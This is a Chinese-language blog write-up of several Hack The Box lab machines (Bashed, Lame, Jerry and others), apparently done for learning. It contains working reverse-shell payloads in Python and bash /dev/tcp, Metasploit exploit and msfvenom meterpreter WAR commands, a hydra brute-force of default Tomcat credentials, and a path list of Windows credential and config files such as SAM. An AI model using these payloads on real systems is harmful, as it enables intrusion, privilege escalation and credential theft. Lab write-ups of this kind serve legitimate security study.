HTB-Hack之旅

我 tcl

Machines

Bashed

难度是 ctf 中的白给题

打开界面如下

点击 phpbash 后会跳转到 github, 可以看到源码如下

if (ISSET($_POST['cmd'])) {
$output = preg_split('/[\n]/', shell_exec($_POST['cmd']." 2>&1"));
foreach ($output as $line) {
echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "<br>";
}
die();

可以看到直接将命令传入 shell, 不过有个2>&1, 会使得一些 shell 命令不执行

这里是根据 wp 一步一步做的, 首先看一下 nmap

nmap -sC -sV -oA nmap/init 10.10.10.68

nmap 的命令可以参考 https://github.com/erasin/notes/blob/master/linux/safe/nmap.md

  • -sC: 等价于 –script=default, 使用默认类别的脚本进行扫描
  • -sV: 指定让 Nmap 进行版本侦测
  • -oA: 输出至所有格式

可以看到结果如下

然后探测一下目录

gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

结果如下

访问一下分别得到

/dev/phpbash.php
/php/sendmail.php
/uploads/ (NULL)

然后可以通过phpbash来直接执行命令, 首先传一个LinEnum.sh查看一下系统的敏感信息

# local
python -m SimpleHTTPServer 8000
# remote
cd uploads
wget http://ip:8000/LinEnum.sh
bash LinEnum.sh

结果如下

[00;31m[-] Super user account(s):[00m
root


[00;33m[+] We can sudo without supplying a password![00m
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

看到有个无密码的账号scriptmanager

那我们再反弹个 shell, 可以使用系统自带的 php 文件

/usr/share/webshells/php/php-reverse-shell.php

修改 ip 和端口后, 在 uploads 写入

wget http://ip:8000/php-reverse-shell.php

然后访问就可以拿到 shell 了

再利用附录的升级方法即可获得交互 shell, 然后登录进scriptmanager

su -u scriptmanager bash

可以在/下看到有个scripts文件夹, 访问之, 下面有个 root 权限的文件

如果可以看到test.py的原内容的话, 他其实是修改了test.txt, 这就说明test.py的执行其实是由 root 执行的, 但是我们可以写, 那就将内容改为反弹 shell

import socket,subprocess,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ip",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")

然后本地监听即可

nc -lvvp 2334

成功获取 root 权限

Lame

首先进行全面的扫描

nmap –T4 –A –v targethost

  • -T4: T 表示速度(0-5), 值越大则越快
  • -v: 显示冗余信息
  • -A: 进攻性的扫描

扫描结果如下, 可以看到有 21 和 139 和 445 应该是可以打的

尝试了一下 21 端口的 vsftpd 2.3.3 还真的没打通—, wp 诚不欺我

explort/unix/ftp/vsftpd_234_backdoor

老老实实跟着 wp 打

search CVE-2007-2447
use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
run

然后就是 root 了

Legacy

跟前一题很像, 还是 nmap 开局

nmap -T2 -A -v -oA nmap/init 10.10.10.3

xp 的机器, 开了 smb, 这里可以用MS-08-067来打

理想是丰满的, 这一步我卡了很久很久(国内网络太差了)

Jerry

nmap -sC -sV -oA nmap/init 10.10.10.95

8080开放, 访问它, gogo

可以看到是默认的 tomcat 页面, 有三个选项

server status: admin:admin可以直接访问, 但是没啥用, 查看另外两个, admin 无法登陆, 使用 hydra 爆破

这里其实账号和密码都是明文的, 但是一般还是不会直接给出的, 所以这里还是按照 wp 的步骤爆破

apt install seclists
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.10.95:8080/manager/html

admin:admin不成功, 但是不知道为啥 hydra 给出来了, 我们这里使用tomcat:s3cret登录

登录进来后有了部署权, 可以传 jsp 马来 getshell

首先使用msfvenom创建一个反弹 shell 的 war 马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.12.10 LPORT=2334 -f war -o jerry.war

然后查看一下包里面的 jsp 文件地址

mkdir tmp
cd tmp && unzip ../jerry.war

再部署到 tomcat 上面, 本地 msf 监听一下

msfdb run
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 2334
run # run -j 后台启动

访问 tomcat 上面的地址, 就可以在本地接到 shell 了, 下面是 flag

ippsec 的视频做的真的好, 强烈建议看一看

Netmon

nmap -sC -sV -oA nmap/init 10.10.10.152

可以看到有 ftp 服务, 连上去康康

ftp 10.10.10.152
# user: Anonymous
# pwd: Anonymous

登录之后可以拿到用户的 flag

继续进行信息搜集, 我们可以根据下面的字典进行探测

https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/

C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini
C:/WINDOWS/Repair/SAM
C:/Windows/repair/system
C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log

接下来需要获取 root 权限, 先离开 ftp 看看其他的端口,

个人信息

# ip
10.10.14.10
# bash
bash -i >& /dev/tcp/10.10.14.10/2333 0>&1

交互式 shell

半交互式

# python pty
python -c 'import pty;pty.spawn("/bin/bash")'

此时可以实现简单的交互, 处于半交互状态, 但是不能用 vim 这种命令

交互式

首先将 shell 放到后台

ctrl + z

然后执行

stty raw -echo

接着使用 fg 将 shell 返回前台

fg

现在的 shell 看起来会比较奇怪, 使用 reset

reset

再导入如下配置即可

export SHELL=bash
export TERM=xterm256-color
stty rows 24 columns 80

吐槽一下为啥进入交互式后 shell 特别卡—-

参考资料

  1. https://bbs.ichunqiu.com/thread-54982-1-1.html


作者: cjm00n
地址: https://cjm00n.top/Pentest/htb-writeup-1.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

BuuOJ刷题记录 php和mysql开发笔记

评论